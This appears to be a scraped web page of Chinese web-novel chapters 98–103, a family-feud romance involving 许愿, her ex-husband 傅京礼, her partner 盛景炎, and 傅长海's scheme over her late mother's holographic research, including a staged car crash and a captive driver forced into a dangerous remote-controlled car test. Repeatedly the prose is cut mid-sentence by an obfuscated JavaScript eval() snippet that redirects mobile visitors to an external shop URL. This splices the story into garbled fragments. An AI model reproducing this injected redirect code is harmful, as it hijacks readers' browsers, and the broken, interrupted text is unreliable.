许愿站住不动了,瞳眸微微收缩。 许愿无视他,径直穿过他离开。 傅京礼侧过头,瞥了二人一眼,沉默不语。 他穿着一件纯黑色丝质浴袍,腰间松松垮垮地系着一根腰带,半敞的衣襟遮不住强健的胸肌与腹肌。 整个人紧绷着,危险的气息肆意弥漫,宛若一头藏在黑暗里的猛兽。 第98章 赌一把 盛景炎也穿着同样的黑袍,只是气息更为内敛,看似带着点吊儿郎当的气息,实则危险完全不比傅京礼少。 盛景炎撩起眼皮抚了抚薄唇,像是故意炫耀,又像是在宣示主权。 傅京礼站在原地,眸色暗沉地看着他们的背影。 沈略不知何时已经候在一旁,将调查到的资料递交到傅京礼手中。 看到监控中许宁得意的笑,傅京礼眉头逐渐皱起。 “傅总,需要我做些什么吗?”沈略询问。 他也猜到昨晚大概发生了什么。 无非是许宁藏着脏污的心思想毁掉许愿,想让盛景炎看到许愿和傅京礼亲密,然后让许愿失去盛景炎的庇护。 沈略温和的眼眸都带上冷意,对许宁更多几分不屑。 “不必理会。” 傅京礼将资料撕碎丢进一旁的垃圾桶,淡淡道:“封锁消息,毁掉昨晚的监控录像,不要让任何人知道是许宁做的。” 直到此刻,他还想护着许宁。 到嘴边的话被沈略咽回去,只能应了声,但转身离开时却将备份资料传到了自己的邮箱里。 他不会忤逆傅京礼的命令,但也不会由着许宁伤害许愿。 如果以后许宁真的要做更恶劣的事,那他手中的资料也将会是压垮许宁的最后一根稻草。 傅京礼点了根烟,眸光冷淡的抽着。 他抽得很凶,一根又一根。 十分钟,半小时,两小时……一直未能看到两人离开的身影。 直到接听到傅老爷子的来电。 傅京礼握紧手机,在这一刻并不想面对老爷子。 “爷爷。” 傅老爷子声音淡淡的,开口道:“你大伯回来了,我们家里人聚个餐,你请许愿回老宅一趟。” 说到此处,老爷子顿了下:“让她把盛景炎也带回来。我也想看看她挑到最后,选择的盛家小子能不能配得上她。” 这话已经向傅京礼表明,他知道二人已经离婚,且许愿选择了盛景炎这件事。 他本还想如何对老爷子解释,现在看来,倒是不用再找借口遮掩。 挂断电话时,他看到许愿和盛景炎从房间里出来。 两人相携而行,盛景炎一直关注着许愿。 这样看着,他们倒真的很般配。 傅京礼眸光愈发又深了几分。 许愿一抬眸就看到了傅京礼。 看到他,她选择绕开,却被他喊住。 “许愿。” “傅长海回国了,爷爷要你带着盛景炎参加傅家家宴。” 傅京礼语气淡淡的,他清楚许愿听到跟老爷子有关的都会在意。 但这次傅京礼猜错了。 许愿更在意的是傅长海。 傅长海。 当初母亲出事后,所有的研究成果,皆被傅长海以极为低廉的价格拍下。 且母亲“自杀”当天,傅长海也在许家,当年傅长海与许镇江也曾以朋友关系相称。 她一直都怀疑母亲并非死于自杀。 她那样坚强的人,怎么会因为一点小事就结束自己的生命? 与其说是自杀,不如说是有人为了利益,残害她的生命。 傅长海就是首要怀疑对象。 许愿清冷的眸闪过一抹深沉:“我会回去的。” 顿了顿,她抬眸看着傅京礼:“我会带盛景炎一起去的。” 话落,许愿根本没有多停留,和盛景炎一同离开。 直到上了车,才终于握紧拳头,再也不压抑着自己内心狂烈的恨意。 “许愿,你情绪不对。” 许愿抿唇看向一旁的盛景炎,没有回话。 盛景炎没再挑开话题,他想这种时候让许愿自己静一静会更好。 他猜到她情绪突变是因为傅长海,但是他们现在的关系,或许还不足以让许愿对他完全袒露心声。 傅氏还有一场会议,傅京礼回到傅氏开完会,就得知盛景炎来访。 他摸不清盛景炎此行的目的,回到办公室就见到盛景炎“不知礼数”的抱着个箱子在挑挑拣拣,挑拣的全都是许愿曾经留下来的东西。 情侣玻璃杯,兔子形状的钢笔,红色的拳头大小的玩偶…… 傅京礼顿了下,眸色冰冷,容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618052|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色冷漠。 “盛景炎,你们盛家人都是这么没教养的吗?” 盛景炎给了个肯定的回答。 “如果你这样问,那我只能告诉你,盛家人确实没有教养。”盛景炎冷笑,“而且我也并不认为一个能够侵犯自己前任妻子的男人,能有多少涵养。” 傅京礼冰冷的眸光沉了几分。 “你来这里有什么目的?” 盛景炎勾唇一笑,俊美的脸庞带着一抹嘲讽:“傅长海对苏青莲做过的事,你清楚吗?” 傅京礼并未回他,只是走到窗边,望向窗外,目光中的冰冷肆意蔓延。 傅长海对苏青莲做过的事,他知道个模糊的大概。 可傅长海与他而言是血亲,幼年时父亲去世,是傅长海和老爷子陪着他。 哪怕他知道那些事实真相,也不会纵容许愿对傅长海出手。 甚至于…… 他为傅长海抹去了许多证据。 见他如此沉默,盛景炎眼底的冷意愈深。 “你果然知道。” 盛景炎也走到窗边。 两个同样高大俊美、气势逼人的男子站在落地窗旁,两人身上都散发着凛冽的寒意。 “傅京礼,你手中到底有多少傅长海的相关犯罪证据。”盛景炎开口询问。 傅京礼没有回答。 “不如我们赌一把吧。”盛景炎意味不明地笑着。 “赌什么?”傅京礼心不在焉地问。 盛景炎抿紧薄唇缓缓开口:“就在一个月后几国交涉的金融峰会,盛世与傅氏谁拿到的合同更多。如果赢的是盛世,你必须交给我一份和傅长海有关的犯罪证据。” 傅京礼颇为烦躁地皱眉:“盛景炎,我对这些没有兴趣,如果你想玩这种无趣的游戏,可以去找别人。” “我还没有说完,你不必着急拒绝。” 盛景炎直直地看着傅京礼:“如果赢的是傅氏,我会将本该属于傅氏的祖宅,还给你们傅家。” 傅京礼顿住,瞳眸幽深的看着盛景炎:“你在开玩笑?” 他确实觉得盛景炎,是在开一个绝无可能的玩笑。 第99章 唯一的选择 傅家现在的老宅所处地段已经极尽繁华,但那其实并非是傅家祖宅。 傅家曾经在早些年遭遇过迫害,祖产被变卖,辗转落到盛家。 傅家真正的祖产坐落在a市最繁华的地段,犹如一座古典城堡,早已被华国列入保护名单,不说祖宅的价值,单是那块区域的地皮就要上百亿之多。 盛景炎如此轻快的将祖宅拿出来做这种赌约,像是在发疯。 傅京礼沉声问道:“盛景炎,你确定你是认真的吗?” 盛景炎眸光冰冷:“我不会拿这种事开玩笑。” “如果赢的是盛世,你必须交给我一份傅长海的犯罪证据,如果赢的是你,傅家的祖宅我也会转给你。” 傅京礼眸光晦涩:“好,我答应你。” 盛景炎垂下眼睫,内心充满讥嘲。 傅京礼可以为傅长海隐瞒真相,却也可以为了更大的利益放弃傅长海,这就是傅京礼。 这样的人,凭什么值得许愿爱这么久? “傅京礼,你配不上她的爱。” 他可以为了利益放弃傅长海,这也就间接表明傅长海其实并没有那么重要。 可许愿在他心里,连十分之一的傅长海都比不上。 盛景炎没有再多停留,只是离开之际,带走了这间办公室里所有属于许愿的东西。 “阿愿的东西,我带走了。” 他嗤道:“总归你对她也没有任何感情,也不会在乎这些东西。” 话落,盛景炎转身离去。 傅京礼默然转身、环顾四周,终是沉默。 傅家老宅。 傅老爷子让人准备了丰盛的晚餐,不仅是为了庆祝傅长海回国,也是为了欢迎许愿和盛景炎。 盛景炎和许愿赶到时,不早也不晚。 车子停在胡同外并未开进来,而另一侧停着一辆拉风的跑车,开车的人是傅嘉誉,副驾驶座上则是傅长海。 傅嘉誉穿着件明艳的礼服裙,脸上化着精致的妆容,脖子上戴着一串昂贵的宝石项链。 许愿认得这串项链,是不久前在国外拍出上亿天价的宝石项链。 傅长海是真的很疼傅嘉誉,给她的全都是最好的。 甚至此刻看向傅嘉誉的眼神,都是充满疼惜和爱意的。 许愿微微垂眸,目光一直落在那对父女身上。 傅嘉誉许是感受到了许愿的眼神,立刻绽放笑颜,从车上跳下去。 “嘉誉,你跑慢点,别摔倒了。” 傅长海焦急的喊着她的名字,傅嘉誉欢快的转头冲傅长海做了个鬼脸。 她明明穿着礼服,却因为开车而搭配着运动鞋,兴奋地跑到许愿身边。 “嫂子!你看我这身礼服好不好看!” 她特意摇着裙摆,转了个大圈。 停下后指着自己脖子上的项链,眉眼弯弯的,眼睛亮晶晶的。 “这个!这个!我爸特意给我拍下来的!”她凑到许愿身边嘀咕,“我还特地给你留了一条项链,是一条超美的红宝石项链。” 许愿只是浅浅笑了笑:“很漂亮,很衬你。” 傅嘉誉这才满足的小跑回跑车边。 傅长海将高跟鞋递出去,她满心欢喜的换上鞋子。 傅长海看着女儿无忧无虑的模样,不经意的问了句:“嘉誉,你和许愿关系很好?” “那当然了!我之前的毕业设计还有论文都是嫂子指点的呢,嫂子有点像我的导师呢。”她确实是很敬重许愿。 话落,傅嘉誉又开始冲许愿摇晃手臂。 “嫂子!你快过来!” 她一口一个嫂子,毫不顾忌许愿身边的盛景炎。 许愿却在她的呼喊下,下意识的抓住了盛景炎的手。 盛景炎顿了下,毫无温度的眼眸中弥漫出笑意,主动反握住她手,十指紧扣。 他俯身在她耳边呢喃低语:“阿愿,你是不是在心疼我?” 许愿默不作声的踩了他的脚。 盛景炎无奈:“很疼的。好吧,是我活该。” 他也知道是自己乱说话了,这会儿也不触许愿逆鳞,而是握着她的手靠近傅长海父女。 夜风并不凉,甚至因为快到夏季有些闷热。 他能感受到许愿的身体在轻微的发抖,像是有些克制不住此刻的情绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618053|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眸光深了几许,面对傅嘉誉时也只是柔柔一笑。 “傅小姐,久仰,我是阿愿的爱人盛景炎。” 以前的盛景炎为了演戏,很少出现在晚宴或者商业酒会上,所以傅嘉誉并未正式见过他,只是听人提到过盛景炎有一张让人看了就想跟他睡觉的脸。 这样一看,确实是有资本的。 只是…… 这个男人跟自己的哥哥是情敌,她怎么看盛景炎都是不顺眼的。 “不敢不敢,盛总才是美名远扬。” 傅嘉誉抱着手臂嗤笑一声:“去一趟夜店,都能听到那些小姐妹们提到盛总多大方多有趣。” 说完,她偏头看向许愿。 “嫂子,你可要擦亮眼睛看清楚,这个男人不值得托付,你还不如跟我哥复婚呢。” 傅嘉誉又在极力推销 傅京礼。 “傅小姐那么聪慧,应该知道阿愿为什么跟傅京礼离婚才对。”盛景炎面上带笑的反问。 傅嘉誉冷着脸看他:“你想说什么?” “你该知道是傅京礼有了婚外情,为了许宁那个上不得台面的私生女,所以才提了离婚。” “如果我是阿愿的好友,我绝不会继续劝阿愿跟这种背叛婚姻的男人复婚。” 盛景炎含笑的眼睛不见多少冷意,但是嘲意分毫不减。 “这样看来,你也并没有把阿愿看作是多在乎的朋友。你还是站在傅京礼那边为他考虑,不希望他找一个私生女做爱人。” 盛景炎言语犀利,硬是让傅嘉誉哑口无言。 “傅小姐,你的哥哥心里有其他人。” 说到此处,看到拐角地方处老爷子和傅京礼的身影,盛景炎笑意愈深,语气加重。 “你的哥哥可是亲口对阿愿说他不爱阿愿呢,你劝阿愿嫁给一个完全不在乎她的男人,你真的对阿愿存着好意吗?还是你只是单纯为傅京礼考虑,认为阿愿更适合傅太太这个身份。” 盛景炎握紧许愿的手开口:“我和傅京礼不同。” “既然许愿选择了我,那我就永远不会背叛我们的关系,她永远都会是我唯一的选择。” 第100章 苏青莲的资料 盛景炎像是故意在这个时间对傅嘉誉说出这种略有些残忍的话,以免她以后继续在许愿面前提起傅京礼。 盛家人不是什么好东西,傅家人也不是省油的灯! 盛景炎说的那番话,不只是让傅嘉誉听的,更是让傅老爷子和傅京礼听的。 他会注意不让盛家人靠近许愿。 当然,傅家人也要有点自知之明。 本来还能言善道的傅嘉誉,现在沉默了。 傅长海微笑的下车,站在傅嘉誉身旁,替她开口解释:“嘉誉还有点小孩子心性,她没有别的坏心思,盛总别怪她。” 傅家人的长相都是精致俊美的,傅长海也不例外。 虽然临近五十岁,但他整个人却保养得很好,比之傅京礼更添几分温和。 任谁也猜不出这种相貌的人,能做出那些事! 盛景炎对上傅长海时,眼神颇为散漫。 “傅小姐年纪不小了,还是如此天真烂漫,您可要看好了她,可别一时冲动选错了人。” 这句话分明没提傅京礼,却又字字句句都不离傅京礼。 傅老爷子在暗处听了许久,终是叹了口气,走了出来。 今晚参加傅家家宴的人算是到齐了,傅老爷子甩开傅京礼搀扶着他的手,走近许愿。 许愿和上次见面没有多少变化,只是脸色添了几分苍白。 “这就是阿愿你的男朋友吧?长得还真是一表人才,和你站一起很般配。”傅老爷子没有发难,也不提傅京礼。 这次盛景炎并未主动开口。 许愿面上露出微笑,她摇晃了下盛景炎的衣袖:“爷爷在夸你。” 盛景炎很听话的顺着许愿的动作,看向傅老爷子。 他对傅家人都没有好感,傅长海做的那些事,他也不确定这老爷子知不知道。 老爷子这些年对许愿很好,但谁能确保是真心实意的好,而非是补偿和谢罪? 说到底,盛景炎只是不想许愿为难,做出一副温和模样作为晚辈送出礼物。 傅老爷子接过后,笑呵呵的让老管家把人都请进去。 傅老爷子考虑得周到,让老管家换了长桌,桌上都备有他们爱吃的几道菜。 至于盛景炎那里,则是暂时随了许愿的口味。 用过晚餐,老爷子将许愿叫进了书房。 书房的门关上后,老爷子取出厚厚一叠文件和一份u盘放到桌上,方才开口。 “看看吧。” 许愿有些不解,但接过那份文件,扉页就写着“全息”两字。 “这是……” 许愿声音都带着颤意,后续的话语堵在喉间,问不出口。 “这是你母亲当年留下有关于全息的资料。” 傅老爷子沉重的叹了口气。 “你母亲是个非常聪明且伟大的女性,你母亲念书时期,就曾陪苏家家主也就是你的祖父去国外参与金融峰会。那时国外就已经在讨论全息网络相关的话题,她那时就猜到这在未来,会发生一场信息变革。” “你母亲回国后,一直组建团队做全息相关的研究,但是全息……研究这些太过超前,动了太多守旧派的蛋糕。” “如果出现全息,那么现在所构建的网络信息体系,全都会彻底崩溃。现在的电子智能相关的企业都会被淘汰,所以你的母亲算是触犯了众怒。” “她研究全息的事情流传出去时,苏家大势已去,许镇江也护不住她。她来见过我,将这些珍贵资料以及她私下建立的研究院和她多年积蓄,全部交到了我的手中,她希望我能帮你看护这些,不要被人抢走。” “现在各国都在研究全息,我们华国也有企业在研究这些,现在将这些交给你,应该不会再给你带来麻烦。”傅老爷子解释。 苏青莲一直都是聪明的,只是她这辈子犯下的错,就是选择了许镇江又蠢又坏的男人。 可即便如此,她还是为许愿寻了后路。 资料和一大笔钱都在傅老爷子手中。 拿到这份资料,哪怕她不想研究全息,也能卖掉资料,拿着那笔钱一辈子潇洒肆意。 许愿掌心颤抖的接过这份厚重昂贵、甚至让苏青莲以生命为代价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618054|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才得以保存的资料。 苏青莲早就在资料中提出跟三维有关的信息,这些年,她建立的研究院的研究项目已经到了哪一步。 许愿不敢细想。 “你母亲提到过,研究院内的领头人是段星河,这个人不算是你母亲的人,他在业内凭借着聪明的头脑非常嚣张,也就只有你母亲还在时能制住他。你母亲离世后,段星河应该已经离开研究院。” “他总喜欢研究一些高危的东西,曾险些被国外的暗黑组织挖走开发新型热武器,后被国内强行扣留。” “我不知道段星河是否还守着你母亲建立的研究院,如果你有信心的话,可以去试着请他重回研究院。” “这个人虽然又疯又狠,但是头脑是真的聪明,只要他重回研究院,项目一定会有新进展。” 段星河,从未参加过任何比赛、撰写过任何实验相关的文章。 他不参加仅仅是因为觉得无聊,研究全息,纯 属是因为当年跟苏青莲打赌输掉后,听她差遣。 比起全息,他更喜欢研究其他智能。 此人因为过于聪慧,行踪不定,很少有人真的能找到他本人。 “段星河手里应该还有你母亲当年另一部分的研究资料,许愿,如果你想继续你母亲的研究,那就找到段星河。如果你不想接手,也可以随时将这份资料卖掉。” 傅老爷子看着许愿,沉重的叹了口气:“无论你做出什么决定,爷爷都支持你。” 选择继续研究,势必要跟守旧派亦或者是正在研究全息的这些企业对上,可以说是危险重重,毕竟当年苏青莲研究全息的事闹得太大,可以说是开创了华国内部先河。 许愿是苏青莲的女儿,手中也拢着不少人脉。 若是许愿真的选择接手研究,以她的实力,可能真的会做出成果成为那群人的敌人,所以这群人一定会先对她下手,设计陷害。 卖掉资料则会得到一笔巨款,且算是告诉那些人,她许愿对全息没有兴趣 ,也会让那些人放松警惕不会对她出手。 两条路,权看许愿如何选择。 第101章 盛景炎出车祸 许愿目光一直落在那份厚重的文件资料上。 透过那份厚重的资料,仿佛隔着时空对上苏青莲那双如水般温柔的黑眸。 她有些困惑,内心那股酸胀的感觉再度涌上来。 她所有的路线,是全部被苏青莲安排好了。 她还年幼时,苏青莲就将苏逸托付给她。 她那时也不过十岁出头的年纪。 为了能护住苏逸,她求掉自己的尊严,跪在地上求许镇江。 去求那个自已一直恨着的男人,才换来苏逸安稳平静的生活。 苏逸可以开开心心长大,可是她呢? 她一直生活在阴影中,没有人在乎她,没有人爱她,她只能凭着一腔孤勇闯出一条路。 她那么在乎母亲留下的那点微弱的爱意,所以早就做了选择,要为苏青莲报仇,为她继续研究全息。 可是……苏青莲真的在乎她吗? 真的爱她吗? 如果爱她,为什么做好了一切安排,却独独忽略她,甚至现在还要来控制她的人生。 她真的给她选择了吗? 让傅老爷子将资料交给她,不就是要让她继续研究全息,完成苏青莲当年的梦想吗? 许愿垂下眼睫,唇角的笑意都染上几分嘲讽弧度。 “我当然会为她完成梦想。” 许愿轻抚着资料,抬眸时眼底带着几分深意。 “爷爷,我母亲爱我吗?” 她这样如实的开口询问。 苏青莲爱她吗? 傅老爷子沉默,于他而言,苏青莲并不爱许愿,甚至只把许愿看作是一种感情淡薄的工具。 傅老爷子的沉默,让许愿明白了。 她不再问了,只是抱着那一沓厚重的资料转身离开。 即便离开,也没有失了礼数。 盛景炎一直等在门外,见她抱着资料出来,立刻伸手接过。 “回去吧,有事要跟你谈。” 盛景炎心领神会。 两人下楼梯时,能看到傅京礼坐在客厅的沙发上与傅长海对弈下棋。 傅嘉誉心不在焉的翻看着手机,抬头看到两人要走,目光落到许愿身上,想说点什么,最终还是没说出口。 许愿微笑的冲她点了点头,跟随盛景炎离开。 随着两人离去,傅长海放下最后一颗棋子,是傅京礼赢了。 “技不如人啊。” 傅长海笑了一声:“行了,时间也不早了。阿礼,你和嘉誉也要早些休息。” 他没有多停留,回到房间,关上房门的一瞬,脸色骤变。 傅长海拨了个号码,那边秒接听。 “怎么回事?老爷子给了许愿什么,是不是跟苏青莲的全息研究有关?” 傅长海的手下立刻回应:“老爷子给的资料就是当年苏青莲藏起来的那份资料,老爷子还提到一个叫做段星河的人,他才是苏青莲那项研究真正的领军人物。” 傅长海呼吸粗重,半天喘不过气来。 他一直找一直找…… 结果那份资料就在老爷子手里,还被老爷子送到了许愿的手中。 到了他们傅家的东西,怎么还能还回去? 那可是跟全息有关的东西! 苏青莲当年就能提出那样惊世骇俗的言论,若是老爷子早些时候把资料拿出来,他们傅家早就已经将全息研究出来,站在世界前沿了。 “把东西抢回来,无论如何不能让盛景炎和许愿得到这份资料。” 傅长海喘着粗气,压低声音:“还有,立刻派人去找段星河,不论付出任何代价,一定要找到他,就算是绑也要把人绑回来。” “好的傅先生。” 傅长海挂断电话,双目一片猩红。 马上就能得到苏青莲的手稿了,他的项目一定会有很大的进展,一定会的。 盛景炎的车子一路开到许愿公寓楼下,直到下楼时,许愿才将资料推至盛景炎手中。 “做个备份,然后交到研究所里面。” 路上,她已经将傅老爷子说的那些告诉了盛景炎。 “我做事,你还不放心?” 盛景炎眉眼弯弯的伸出手,揉了揉许愿的发梢。 许愿顿了下,却感受到男人的手捏住她的下巴,很轻柔的力道。 “上楼前,要不要亲一下。” 他在讨晚安吻了。 “如果我的女朋友可以赏赐我一个吻的话,我今天会很开心,梦里都会是开心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅老爷子才刚将资料交到她手中,不过一个小时的时间,盛景炎就因为这份资料出了车祸。 会是谁做的,会是谁消息如此灵通? 许愿咬紧下唇,脑海中闪过傅长海那张虚伪的面容身影。 傅长海! 这笔账,我一定会跟你清算的! 许愿眸色愈深,死死的握住盛景炎冰冷的指尖,好像这样就能给他带来几分温暖。 车子一路开到江惊蛰的云尚,她一早联系过江惊蛰,盛景炎的车子一到就有人接应。 她紧随其后,随着疾行的医护人员候在急救室外的长廊上。 她有些烦躁和疲惫,手上还沾着属于盛景炎的鲜血。 她低头盯着自己的掌心,望着那已经干涸的血迹,内心的恨意再度失衡喷涌。 “许小姐。” 盛景炎的助理候在一旁语气平稳开口:“这次对盛总下手的人,大概是没有做好调查,不清楚盛总身边一直有保镖,那些人是冲着您交给盛总那份资料来的。” “我们下车时,看到有人在抢夺盛总手中的资料,那人已经被我们扣下了。” “您看,要怎么处置?” 盛景炎早就给助理下过命令,告知他以后许愿就是盛世的女主人,所以他态度如此恭敬。 盛景炎车祸重伤,他就等许愿的回应。 “不能报警。” 许愿嗓音沙哑。 “他们既然敢如此胆大的做这种事,说明早就想好了后手。” “这种把戏我见多了。无非是找了重症晚期的人,给一大笔钱,雇佣那人当司机,满足他们的一己私欲,去害人,或者是……酒驾,然后赔一笔钱了事。” “他们就是钻了法律的漏洞。” “把他扣下,盛景炎手术结束后,我会去见他。” 许愿语气沙哑中掺着无尽的寒意。 助理应了一声,将盛景炎一直护着的资料交给许愿。 资料夹的封面上已经染了血迹,那是盛景炎的血。 许愿眸光幽暗,动作缓慢的翻看这份资料。 苏青莲十年前提出的言论,还有可抢的必要吗? 这些公式算法,她早就知道了。 就为了这个,傅长海就起了杀心? “既然他这么想要这份没用的资料,那我就给他一个得到资料的机会。” “你放话出去,就说当年苏青莲的全息手稿即将现场拍卖,价高者得,按照这个意思发散出去。” 助理顿了下:“许小姐,这是我们盛总拼命相互的资料,您真的要随意拍卖吗?” 许愿握紧资料夹,垂下眼角,唇角都含着几分明显的讽意。 “这份资料,我们的研究所已经研究出成果,留在这里没有不仅对我们后续进展有任何影响,背后的人还会用尽心思的去得到。” “既然他想要,那就让他明码标价的自己拍回去,让他知道自己拍了份没用的资料。” 她就是要让傅长海吃亏! 助理明白了,立刻安排将消息放出去,并定好拍卖日在三天后,趁早将资料脱手。 傅家老宅。 傅长海面色阴沉的收到下属的反馈:没有抢到资料。 盛景炎不愧是盛景炎,那种时候都还随身带着保镖,让他的人无功而返。 傅长海正打算问罪,就收到一条消息,那条消息已经被推至热搜。 【华国全息之母苏青莲手稿拍卖会。】 一条热搜挂在微博上,宛如一滴冰水落入油锅,整个圈子都炸锅了。 但凡聪明的,都知道全息真的被研究出来后,现今所属的智能系统都将报废,需要连接系统,就像是新一次的科技革命。 这消息放出来后,不单是a市上流圈层的人知道了,就连国外的一些科研人员也听到这件事,放言要拍到这份手稿。 纵然是十年前的资料,可对他们来说也非常珍贵,极具收藏价值。 “许愿真是疯了。” 傅长海压抑着怒意,开口斥责。 将苏青莲的资料放出来拍卖,除了疯子还会有谁能做出这种事?! “傅先生,许愿做出这种选择,也可能是因为被这次盛景炎的车祸吓到了,所以想趁早将资料卖出去脱手。这样想,其实也算是聪明人的做法。” 这就说明,许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618056|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿对全息无意。 又或者,她是被这次的车祸吓破胆,不敢再守着这份资料了。 傅长海长久沉默后下令:“五天后的拍卖会,不论付出什么代价,一定要拍到这份资料,决不允许旁人拿走。” 下属立刻听令,立刻吩咐下去。 …… 云尚医院。 盛景炎的手术成功了,只是人还处于昏迷阶段并未清醒。 现在已经暂时转到了普通病房。 许愿守在病床边,望着男人苍白到没有血色的面容。 他的额头被撞出一道很深的口子,此刻被针线缝上,往后都会留下丑陋的疤痕。 一切都是傅长海做的孽。 许愿喉头发堵,她眼眶发红,伸出手握住他的手,很轻很轻的捏了捏,像是想要感受到他的回应 。 可是……没有回应。 许愿低了低头,极轻极缓的落在盛景炎眼角,最终移到他的唇上,轻吻了下。 “不是说有个晚安吻,你就会开心做个好梦吗?” “盛景炎,做个好梦。” 她很轻微的笑了下,然后毅然决然的转身,眼神淡漠的看向盛景炎的助理。 “带我去见那个人。” 助理立刻在前带路。 上了助理的车,车子一直开到郊外的一栋别墅。 司机被关在别墅的地下室,此刻双手双脚都被绑缚着,五花大绑的丢在地上,只能像一条蛆虫一样扭动反抗。 他的嘴巴被堵住,只能瞪圆眼睛满头汗的反抗。 可这样的反抗,让人看了只想发笑。 “取下他嘴里的毛巾,我要听听他这么激动,到底是想骂些什么。” 助理身后跟着的保镖上前,取出毛巾。 司机下一秒就“啐”了一口,吐出口血水,这才骂骂咧咧:“你们绑我干什么?我又不是故意的!谁让他开着那么贵的一辆豪车在路上了!那车太耀眼了,那么不经撞难道也怪我吗!” “你们现在这样关着我,是违法行为!你们侵犯了我的人身自由!” “等我从这里出去,我一定会告你们!” 第103章 测试 许愿眼神中毫无波澜,她看着此刻在地上叫嚣的男人,面无表情的取出手机,还未等到薛酒的回应,清冷的眸光深了几分。 没找到也好。 她还打算用这个废物做个测试。 她低头看着还在不停聒噪骂人的司机。 “你不说的话,我是不会逼你的。” 许愿拊掌,喉间溢出很轻的笑,这样的笑只让人后背发凉。 “我最近研发出了一种新车型,还没有做过测试,这种车预计还要等几年才能正式研发成功。”许愿眼神冰冷的看着他。 “既然你是个司机,不如就帮我测测这辆车能不能开上马路。” 司机眼睛瞪圆,骂骂咧咧的话此刻卡壳了。 他目瞪口呆的看着许愿,几乎觉得自己幻听了。 什么叫做帮她测试那辆车能不能开上马路! 这分明是想要他的命! 许愿无视他的反抗,逼他签下一份《车辆测试协议》。 随后,她变让人将司机丢到郊外建立的跑道上。 许愿指着不远处的两辆汽车说道:“我在那两台车上安装了最新的系统,只好请你帮我测试一下系统的性能。” “这阵子,我一直不敢用其他人来做测试。”许愿冷冷地看他,“只有你凑了上来。” 话落,她完全不顾司机胡浩的反抗,命人将他死死绑到车内的驾驶座上。 车子已经开始行驶,胡浩在车内惊恐的大声叫喊。 许愿却摆弄着手中的遥控装置,加速,减速,过弯,全然不将那人的骂声喊声求饶声放到心上。 与此同时,一名风尘仆仆的男人急匆匆地赶了过来。 来人是陆斯年,盛华明面上的总裁。 他是许愿在金融圈闯荡的几年的合作伙伴,也被她看作是哥哥。 今晚飞机回国,陆斯年接到薛酒发来的消息,才知道许愿的疯狂举动。 他放心不下许愿,带着保镖助理匆匆赶来。 刚来到车场,就看到许愿站在边缘处,一次又一次的操控着那辆车疯狂加速,然后放缓速度,再疯狂加速。 “阿愿,停下。” 陆斯年狠狠皱眉。 跑道上,车越开越快,像离弦之箭一晃而过。 许愿操纵得稍有差池,那个人怕是会出事。 陆斯年只敢在一旁唤许愿的名字,根本不敢上手抢夺她手中的遥控装置。 “阿愿,停下。” 陆斯年又重复了一次。 许愿操纵的动作放缓,却没去看陆斯年,目光一直落在跑道上。 “斯年哥,他在帮我测试新车的系统性能。” 许愿唇角弯起,但笑意是冷的。 陆斯年沉默的看向跑道,眼眸中却是一片晦暗。 “是因为盛景炎?” 因着陆斯年的询问,许愿手心微微发颤,车子也愈发快了。 车从他们身边疾驰而过,引擎轰鸣,带起一阵风。 “阿愿,车速太快了!” 陆斯年盯着那辆车,浓眉紧锁,面色阴沉。 “怎么会快呢?如果车子真的出现故障,就是有这样的速度。” 许愿低下头看着遥控,开口:“接下来,要测一测这辆车防不防撞。” 许愿面无表情的操控着车子,加速飞驰朝着墙体撞过去。 “阿愿,你冷静点。” 陆斯年已经无法镇定,他觉得许愿此刻疯了。 